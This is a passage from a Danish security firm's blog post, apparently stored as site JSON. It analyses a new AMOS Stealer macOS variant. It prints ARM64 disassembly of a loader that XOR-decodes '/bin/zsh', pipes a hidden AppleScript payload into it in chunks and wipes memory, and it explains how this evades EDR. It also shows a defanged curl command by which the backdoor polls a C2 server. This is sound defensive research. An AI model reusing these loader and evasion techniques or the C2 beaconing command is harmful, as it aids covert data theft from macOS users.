simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[555,2295,2293],{"__ignoreMap":585},[528,2297,2298,2299,2302,2303,2305,2306,2309],{},"XOR-nøglen er ",[555,2300,2301],{},"0x2e",", ASCII-værdien for ",[555,2304,1529],{}," (punktum). Dekodningen sker i en enkelt ",[555,2307,2308],{},"eor v0.8B, v0.8B, v1.8B","-instruktion, en ARM64-NEON-vektorinstruktion, der XOR'er alle 8 bytes samtidig. At bruge en SIMD-instruktion til et simpelt 8-byte dekode er usædvanligt og har to effekter: det er hurtigere end en byte-for-byte-løkke, og det instruktionsmønster, det skaber, adskiller sig grundlæggende fra de skalære dekodeløkker, som signaturmatchende værktøjer er trænet på.",[528,2311,2312,2313,1323,2316,1323,2319,1323,2322,2325,2326,1529],{},"Verifikationen er enkel: ",[555,2314,2315],{},"0x01 XOR 0x2e = 0x2f = /",[555,2317,2318],{},"0x4c XOR 0x2e = 0x62 = b",[555,2320,2321],{},"0x47 XOR 0x2e = 0x69 = i",[555,2323,2324],{},"0x40 XOR 0x2e = 0x6e = n",", hvilket i de første fire bytes giver ",[555,2327,2328],{},"/bin",[706,2330,2332],{"id":2331},"trin-2-pipe-arkitekturen","Trin 2: pipe-arkitekturen",[528,2334,712],{},[528,2336,2337],{},"Efter dekodningen af kommandonavnet opretter funktionen en OS-pipe og forker:",[573,2339,2340],{"style":575},[577,2341,2344],{"className":2342,"code":2343,"language":582},[580],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[555,2345,2343],{"__ignoreMap":585},[528,2347,2348],{},"I child-processen:",[573,2350,2351],{"style":575},[577,2352,2355],{"className":2353,"code":2354,"language":582},[580],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[555,2356,2354],{"__ignoreMap":585},[528,2358,2359,2360,2363,2364,2367,2368,2370],{},"Child-processen erstatter sit standardinput med pipens læseende og starter ",[555,2361,2362],{},"/bin/zsh -s",". I ",[555,2365,2366],{},"-s","-tilstand læser shellen kommandoer fra stdin. For procesovervågningsværktøjer fremstår denne proces som ",[555,2369,2362],{}," uden argumenter, umulig at skelne fra en legitim interaktiv shell-session.",[706,2372,2374],{"id":2373},"trin-3-chunk-writes-af-varierende-størrelse","Trin 3: chunk-writes af varierende størrelse",[528,2376,712],{},[528,2378,2379],{},"Parent-processen skriver den dekrypterede payload til pipens skriveende i bevidst varierende chunk-størrelser:",[573,2381,2382],{"style":575},[577,2383,2386],{"className":2384,"code":2385,"language":582},[580],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[555,2387,2385],{"__ignoreMap":585},[528,2389,2390,2391,2394,2395,2398,2399,2402,2403,2406],{},"Chunk-størrelsesformlen ",[555,2392,2393],{},"(remaining_length % 192) + 64"," giver værdier mellem 64 og 255 byte pr. write-kald, afhængigt af den resterende payload-længde. Det variable write-mønster er synligt i kernel event tracing-værktøjer som ",[555,2396,2397],{},"ktrace"," eller ",[555,2400,2401],{},"dtrace",", men skaber ingen genkendelig fastsignatur. Hver udførelse af den samme payload producerer en anden sekvens af ",[555,2404,2405],{},"write()","-syscall-størrelser.",[528,2408,2409,2410,2412],{},"Det 1 mikrosekunds ",[555,2411,1119],{}," mellem chunkene tjener et andet formål: det frigiver CPU'en mellem skrivningerne, holder CPU-belastningen flad og undgår en pludselig spids, som en adfærdsbaseret EDR-regel kunne markere som anomal burst-I/O.",[706,2414,2416],{"id":2415},"trin-4-øjeblikkelig-hukommelsesrydning","Trin 4: øjeblikkelig hukommelsesrydning",[528,2418,712],{},[573,2420,2421],{"style":575},[577,2422,2425],{"className":2423,"code":2424,"language":582},[580],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[555,2426,2424],{"__ignoreMap":585},[528,2428,2429,2432],{},[555,2430,2431],{},"_bzero()","-kaldet nulstiller hele den dekrypterede payload-buffer umiddelbart efter den sidste skrivning til pipen. Intet tidsvindue, ikke engang et mikrosekund, hvor den dekrypterede payload stadig ville ligge i hukommelsen efter udførelsen. Et live memory dump taget lige efter at denne funktion returnerer, finder kun nuller, hvor payloaden var.",[528,2434,2435,2436,2439],{},"Det kaldes ",[771,2437,2438],{},"zero-after-use",", den samme teknik, som højsikre kryptografiske biblioteker bruger, for at nøglemateriale ikke bliver liggende i hukommelsen. At teknikken dukker op i commodity-malware er usædvanligt og peger på en udvikler med baggrund i security engineering.",[706,2441,2443],{"id":2442},"den-fulde-udførelsessekvens","Den fulde udførelsessekvens:",[528,2445,712],{},[573,2447,2448],{"style":575},[577,2449,2452],{"className":2450,"code":2451,"language":582},[580],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[555,2453,2451],{"__ignoreMap":585},[562,2455,2457],{"id":2456},"importtabellen-som-våben","Importtabellen som våben",[528,2459,568],{},[528,2461,2462],{},"Binærfilens fulde importtabel:",[573,2464,2465],{"style":575},[577,2466,2469],{"className":2467,"code":2468,"language":582},[580],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[555,2470,2468],{"__ignoreMap":585},[528,2472,2473],{},"I alt 27 symboler. Det, der mangler, er mindst lige så afslørende som det, der er der.",[706,2475,2477],{"id":2476},"fraværende-netværk","Fraværende: netværk",[528,2479,712],{},[573,2481,2482],{"style":575},[577,2483,2486],{"className":2484,"code":2485,"language":582},[580],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[555,2487,2485],{"__ignoreMap":585},[706,2489,2491],{"id":2490},"fraværende-filsystem","Fraværende: filsystem",[528,2493,712],{},[573,2495,2496],{"style":575},[577,2497,2500],{"className":2498,"code":2499,"language":582},[580],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[555,2501,2499],{"__ignoreMap":585},[706,2503,2505],{"id":2504},"fraværende-procesintrospektion","Fraværende: procesintrospektion",[528,2507,712],{},[573,2509,2510],{"style":575},[577,2511,2514],{"className":2512,"code":2513,"language":582},[580],"getpid      getuid      getenv      sysctl\n",[555,2515,2513],{"__ignoreMap":585},[706,2517,2519],{"id":2518},"fraværende-kryptografi","Fraværende: kryptografi",[528,2521,568],{},[573,2523,2524],{"style":575},[577,2525,2528],{"className":2526,"code":2527,"language":582},[580],"CCCrypt     SecItemAdd  SecKeychainFind\n",[555,2529,2527],{"__ignoreMap":585},[528,2531,2532,2533,1323,2536,2539,2540,1323,2543,2546],{},"I et traditionelt malware-sample forventer man netværks-imports (",[555,2534,2535],{},"socket",[555,2537,2538],{},"connect",") eller fil-imports (",[555,2541,2542],{},"fopen",[555,2544,2545],{},"write","). Denne binærfil har ikke en eneste. For en almindelig scanner ser den ud som en harmløs proceslauncher, og det er planlagt sådan: et bevidst arkitekturvalg, der får statiske analyseværktøjer til at løbe ud i ingenting.",[528,2548,2549,2551],{},[555,2550,921],{},"-binærfilen udfører ikke selv tyveriet. Dens eneste formål er at aflevere og køre den egentlige ondsindede payload, et kraftigt obfuskeret AppleScript. En EDR eller et AV, der leder efter ondsindede binærfiler, ser her en loader uden netværks- eller fil-I/O og klassificerer den muligvis som ren, uden at opdage, at binærfilen er et specialiseret leveringssystem til en højniveau-script-payload.",[538,2553],{},[541,2555,2557],{"id":2556},"bagdøren","Bagdøren",[528,2559,547],{},[528,2561,2562,2563,2566],{},"Hændelsen sluttede ikke efter den indledende kompromittering. Microsoft Defender-telemetri viste en proces, der kørte fra ",[555,2564,2565],{},"/Users/\u003Credacted>/.mainhelper"," og kaldte en ekstern server:",[573,2568,2569],{"style":575},[577,2570,2572],{"className":782,"code":2571,"language":784,"meta":585,"style":585},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[555,2573,2574],{"__ignoreMap":585},[622,2575,2576,2579,2581],{"class":624,"line":625},[622,2577,2578],{"class":791},"sh",[622,2580,796],{"class":795},[622,2582,2583],{"class":809}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[528,2585,2586],{},"Base64-strengen dekodede til en 16-byte enheds-UUID, den entydige identifikator, som angriberens C2-infrastruktur havde tildelt denne enhed på dagen for den første infektion.",[528,2588,2589,2592,2593,2596,2597,2599],{},[555,2590,2591],{},".mainhelper","-binærfilen (SHA-256: ",[555,2594,2595],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") var blevet installeret via ",[555,2598,792],{}," af osascript-dropperen på dagen for hændelsen.",[538,2601],{},[541,2603,2605],{"id":2604},"styrken-i-det-kollektive-skjold-vores-shared-threat-intelligence-platform","Styrken i det kollektive skjold: vores Shared Threat Intelligence-platform",[528,2607,547],{},[528,2609,2610],{},"Når en alert udløses i vores SOC, begynder uret ikke kun at løbe for den berørte kunde, men for hver organisation under glueckkanjas skjold. Denne undersøgelse af en udokumenteret AMOS-variant gør tydeligt, hvad Intelligence Gap betyder i praksis: et farligt tidsvindue, hvor klassiske leverandører er blinde, fordi de endnu ikke har set truslen.",[528,2612,2613],{},"Her viser vores proprietære Shared Threat Intelligence Platform sin værdi, udviklet eksklusivt til glueckkanjas CSOC-kunder. Vi venter ikke på opdateringer fra branchen, vi skaber dem. Mens vores analytikere stadig skilte de sidste lag af ARM64-assembly ad, fordelte vores Automated Orchestration Engine allerede de udtrukne indikatorer på tværs af hele vores økosystem. Det skaber flokimmunitet: det, der opdages på ét enkelt endpoint, er inden for minutter en blokeret trussel for hver organisation under vores beskyttelse.",[528,2615,2616],{},"Reaktiv sikkerhed virker ikke mod trusler, der målrettet glider gennem hullerne i konventionelle forsvarsmekanismer. Svaret ligger i at forbinde menneskelig ekspertise med en arkitektur, der sætter den viden i spil med det samme og i skala. Med vores shared intelligence-model vendes angriberens tidsfordel om: vores kunder er beskyttet, før truslen overhovedet er opdaget af branchen.",[2618,2619,2620,2625,2628,2631],"blockquote",{},[528,2621,2622],{},[771,2623,2624],{},"Bemærkning om databeskyttelse",[528,2626,2627],{},"Identificerende oplysninger er anonymiseret i denne udgivelse. Specifikke tekniske detaljer, indikatorer og tidsstempler kan være let ændret for at sikre den fortsatte beskyttelse af det berørte miljø, uden at den tekniske integritet af analysen forringes.",[528,2629,2630],{},"De tekniske analyser og Indicators of Compromise (IOC'er) i denne rapport tjener udelukkende til information og videreuddannelse. De stilles til rådighed efter bedste overbevisning. glueckkanja AG giver ingen udtrykkelige eller underforståede garantier for fuldstændighed eller nøjagtighed og hæfter ikke for skader, tab eller sikkerhedshændelser, der opstår ved brug af de oplysninger, regler eller signaturer, der deles her. Vi anbefaler at validere alle indikatorer og regler i et kontrolleret miljø, før de tages i brug.",[528,2632,2633],{},"Beskrevne indikatorer og teknikker kan overlappe med kendte malwarefamilier og kan ikke henføres eksklusivt til en enkelt kampagne.",[2635,2636,2637],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":585,"searchDepth":631,"depth":631,"links":2639},[2640,2641,2642,2643,2650,2651,2652,2653,2661,2668],{"id":564,"depth":631,"text":565},{"id":605,"depth":631,"text":606},{"id":666,"depth":631,"text":667},{"id":698,"depth":631,"text":699,"children":2644},[2645,2646,2647,2648,2649],{"id":708,"depth":849,"text":709},{"id":723,"depth":849,"text":724},{"id":737,"depth":849,"text":738},{"id":746,"depth":849,"text":747},{"id":763,"depth":849,"text":764},{"id":928,"depth":631,"text":929},{"id":1018,"depth":631,"text":1019},{"id":1134,"depth":631,"text":1135},{"id":1205,"depth":631,"text":1206,"children":2654},[2655,2656,2657,2658,2659,2660],{"id":1220,"depth":849,"text":1221},{"id":1508,"depth":849,"text":1509},{"id":1763,"depth":849,"text":1764},{"id":1957,"depth":849,"text":1958},{"id":2044,"depth":849,"text":2045},{"id":2196,"depth":849,"text":2197},{"id":2250,"depth":631,"text":2251,"children":2662},[2663,2664,2665,2666,2667],{"id":2266,"depth":849,"text":2267},{"id":2331,"depth":849,"text":2332},{"id":2373,"depth":849,"text":2374},{"id":2415,"depth":849,"text":2416},{"id":2442,"depth":849,"text":2443},{"id":2456,"depth":631,"text":2457,"children":2669},[2670,2671,2672,2673],{"id":2476,"depth":849,"text":2477},{"id":2490,"depth":849,"text":2491},{"id":2504,"depth":849,"text":2505},{"id":2518,"depth":849,"text":2519},"md","post",{"lang":2677,"seoTitle":2678,"titleClass":2679,"date":2680,"categories":2681,"blogtitlepic":2683,"socialimg":2684,"customExcerpt":2685,"keywords":2686,"maxContent":325,"asideNav":2687,"footer":2702,"contactInContent":2703,"published":325},"da","AMOS Stealer-variant: reverse engineering af en ukendt macOS-malware","h2-font-size","2026-04-10",[2682],"Security","head-amos-stealer.png","/blog/heads/head-amos-stealer.png","En hidtil udokumenteret AMOS Stealer-variant kompromitterede et macOS-endpoint. Ingen kendte hashes, ingen C2-data i offentlige databaser. Vores SOC skilte seks obfuskeringslag ad, udtrak alle indikatorer og rullede beskyttelsen ud til alle SOC-kunder inden for timer, endnu før branchen overhovedet havde set samplet.","AMOS Stealer, macOS-malware, reverse engineering, malwareanalyse, Ghidra, ARM64, Incident Response, Threat Intelligence, CSOC, macOS-sikkerhed, stealer-malware, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":2688},[2689,2692,2694,2697,2699],{"href":2690,"text":2691},"#hændelsen-et-ukendt-ioc-scenarie","Hændelsen",{"href":2693,"text":565},"#stage-1-sandbox-kontroller",{"href":2695,"text":2696},"#stage-2-reverse-engineering-af-helper-binærfilen","Stage 2: Binærfilanalyse",{"href":2698,"text":2557},"#bagdøren",{"href":2700,"text":2701},"#styrken-i-det-kollektive-skjold-vores-shared-threat-intelligence-platform","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":2704},{"bgColor":2705,"headline":2706,"subline":2707,"level":562,"textStyling":2708,"flush":2709,"person":2710,"form":2716},"var(--color-gk-dark-blue)","Kontakt os","Vil I vide, hvordan vores Shared Threat Intelligence Platform beskytter jer mod ukendte malwarevarianter, endnu før branchen hører om dem? Skriv til os.","text-light","justify-content-end",{"image":2711,"cloudinary":325,"alt":2712,"name":2713,"quotee":2713,"quoteeTitle":2714,"quote":2715},"/people/people-jan-geisbauer-csoc.jpg","Portræt af Jan Geisbauer, Head of Security hos glueckkanja","Jan Geisbauer","Head of Security","Det farlige ved denne variant var ikke den tekniske kompleksitet, hvor imponerende den end er. Det farlige var tidsvinduet. Uden Shared Threat Intelligence ville vores andre kunder have stået ubeskyttede i timevis, mens vi stadig analyserede.",{"ctaText":2717,"cta":2718,"method":2675,"action":2720,"fields":2721},"Send",{"skin":2719},"primary on-surface","/send",[2722,2726,2730,2733,2737,2742,2747,2749,2752,2755,2758,2760],{"type":2723,"id":2724,"value":2725},"hidden","_next","successful",{"label":2727,"type":582,"id":2728,"required":325,"requiredMsg":2729},"Navn*","name","Indtast venligst dit navn.",{"label":2731,"type":582,"id":403,"required":325,"requiredMsg":2732},"Virksomhed*","Indtast venligst din virksomhed.",{"label":2734,"type":2735,"id":2735,"required":325,"requiredMsg":2736},"E-mailadresse*","email","Indtast venligst din e-mailadresse.",{"label":2738,"type":2739,"id":2740,"required":484,"requiredMsg":2741},"Din besked til os","textarea","message","Indtast venligst en besked.",{"label":2743,"type":2744,"id":2745,"required":325,"requiredMsg":2746},"Dine data bliver gemt hos os til behandling og besvarelse af din henvendelse. Du finder flere oplysninger om databeskyttelse i vores \u003Ca href=\"/da/privacy\">privatlivspolitik\u003C/a>.","checkbox","dataprotection","Bekræft venligst",{"type":2723,"id":2748,"value":2682},"_topic",{"type":2723,"id":2750,"value":2751},"_location","World",{"type":2723,"id":2753,"value":2754},"_subject","Form: Blog AMOS Stealer CSOC | DA",{"type":2723,"id":2756,"value":2757},"inbox_key","gkgab-contact-form",{"type":2723,"id":2759},"_gotcha",{"type":2723,"id":2761},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":521,"description":530},"posts/2026-04-10-incident-to-intelligence",[2766,2767,2768,2769,2770],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","Rg8ZVF1AAx0hr73gwil1F67-RZ7Mi2W3xv5iono7Lsc",{"id":2773,"extension":2774,"meta":2775,"stem":8,"__hash__":3123},"authors_data/authors.json","json",{"path":2776,"Fritz Zurhorst":2777,"Alexander Schlindwein":2783,"Sophie Luna":2789,"Nadine Klein":2797,"Karsten Kleinschmidt":2803,"Julian Wendt":2811,"Holger Bunkradt":2816,"Ralf Mania":2822,"Oliver Kieselbach":2828,"Steffen Schwerdtfeger":2834,"Gunnar Winter":2842,"Jan Petersen":2847,"Thorsten Kunzi":2852,"Moritz Pohl":2856,"Thorben Pöschus":2861,"Christoph Hannebauer":2867,"Marco Scheel":2871,"Christopher Brumm":2876,"Florian Klante":2883,"Niklas Bachmann":2888,"Nils Krautkrämer":2893,"Patrick Treptau":2899,"Peter Beckendorf":2904,"Patrick Sobau":2909,"Jörg Wunderlich":2914,"Michael Breither":2918,"Christian Kanja":2923,"Zeba Hoffmann":2929,"Jochen Fröhlich":2934,"Jan Geisbauer":2938,"Gerrit Reinke":2948,"Christian Kordel":2954,"Stephan Wälde":2958,"Carolin Kanja":2963,"Adrian Ritter":2969,"Marvin Bangert":2974,"Thorsten Pickhan":2980,"Christian Lorenz":2986,"Denis Böhm":2991,"Fabian Bader":2996,"Juan Jose Fernandez Perez":3002,"Mahschid Sayyar":3007,"Benjamin Dassow":3012,"Markus Walschburger":3017,"Jonathan Haist":3022,"Daniel Rohregger":3027,"Thomas Naunheim":3032,"Florian Stöckl":3037,"Pascal Asch":3042,"Markus Kättner":3046,"Anna Ulbricht":3053,"Annette Brauns":3060,"body":3066,"title":3122},"/authors",{"display_name":2778,"avatar":2779,"permalink":2780,"linkedin":2781,"imageOffsetTop":2782},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":2784,"avatar":2785,"permalink":2786,"twitter":2787,"linkedin":2788},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":2790,"avatar":2791,"permalink":2792,"twitter":2793,"linkedin":2794,"imageOffsetLeft":2795,"imageOffsetTop":2796},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":2798,"avatar":2799,"permalink":2800,"twitter":2801,"linkedin":2802,"imageOffsetTop":2782},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":2804,"avatar":2805,"permalink":2806,"twitter":2807,"linkedin":2808,"imageOffsetTop":2809,"imageOffsetLeft":2810},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":2812,"avatar":2813,"permalink":2814,"linkedin":2815},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":2817,"avatar":2818,"permalink":2819,"linkedin":2820,"twitter":2821},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":2823,"avatar":2824,"permalink":2825,"linkedin":2826,"twitter":2827},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":2829,"avatar":2830,"permalink":2831,"linkedin":2832,"twitter":2833},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":2835,"avatar":2836,"permalink":2837,"linkedin":2838,"twitter":2839,"imageOffsetTop":2840,"imageOffsetLeft":2841},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":2843,"avatar":2844,"permalink":2845,"twitter":2793,"linkedin":2846},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":2848,"avatar":2849,"permalink":2850,"twitter":2793,"linkedin":2851},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":2853,"avatar":2854,"permalink":2855,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":2857,"avatar":2858,"permalink":2859,"twitter":2793,"linkedin":2860},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":2862,"avatar":2863,"permalink":2864,"twitter":2865,"linkedin":2866},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":2868,"avatar":2869,"permalink":2870,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":2872,"avatar":2873,"permalink":2874,"twitter":2875,"linkedin":2875},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":2877,"avatar":2878,"permalink":2879,"twitter":2880,"linkedin":2881,"imageOffsetTop":2882},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":2884,"avatar":2885,"permalink":2886,"linkedin":2887,"twitter":2793},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":2889,"avatar":2890,"permalink":2891,"linkedin":2892,"twitter":2793},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":2894,"avatar":2895,"permalink":2896,"twitter":2897,"linkedin":2898},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":2900,"avatar":2901,"permalink":2902,"linkedin":2903,"twitter":2793},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":2905,"avatar":2906,"permalink":2907,"linkedin":2908,"twitter":2793,"imageOffsetTop":2782},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":2910,"avatar":2911,"permalink":2912,"linkedin":2913,"twitter":2793},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":2915,"avatar":2916,"permalink":2917,"twitter":2793},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":2919,"avatar":2920,"permalink":2921,"twitter":2793,"linkedin":2922},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":2924,"avatar":2925,"permalink":2926,"twitter":2927,"linkedin":2928},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":2930,"avatar":2931,"permalink":2932,"linkedin":2933,"twitter":2793},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":2935,"avatar":2936,"permalink":2937,"twitter":2793,"linkedin":2846},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":2713,"avatar":2939,"permalink":2940,"twitter":2941,"linkedin":2941,"imageOffsetTop":2782,"socials":2942},"people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[2943,2945],{"text":472,"href":2944},"https://emptydc.com",{"text":2946,"href":2947},"Podcast","https://hairlessinthecloud.com",{"display_name":2949,"avatar":2950,"permalink":2951,"twitter":2952,"linkedin":2953},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":2955,"avatar":2956,"permalink":2957,"twitter":2793,"linkedin":2846},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":2959,"avatar":2960,"permalink":2961,"twitter":2962,"linkedin":2846},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":2964,"avatar":2965,"permalink":2966,"twitter":2967,"linkedin":2968},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":2970,"avatar":2971,"permalink":2972,"twitter":2973,"linkedin":2973},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":2975,"avatar":2976,"permalink":2977,"twitter":2978,"linkedin":2979},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":2981,"avatar":2982,"permalink":2983,"twitter":2984,"linkedin":2985},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":2987,"avatar":2988,"permalink":2989,"linkedin":2990,"twitter":2793},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":2992,"avatar":2993,"permalink":2994,"linkedin":2995,"twitter":2793},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":2997,"avatar":2998,"permalink":2999,"linkedin":3000,"twitter":3001},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":3003,"avatar":3004,"permalink":3005,"linkedin":3006},"Juan Jose Fernandez 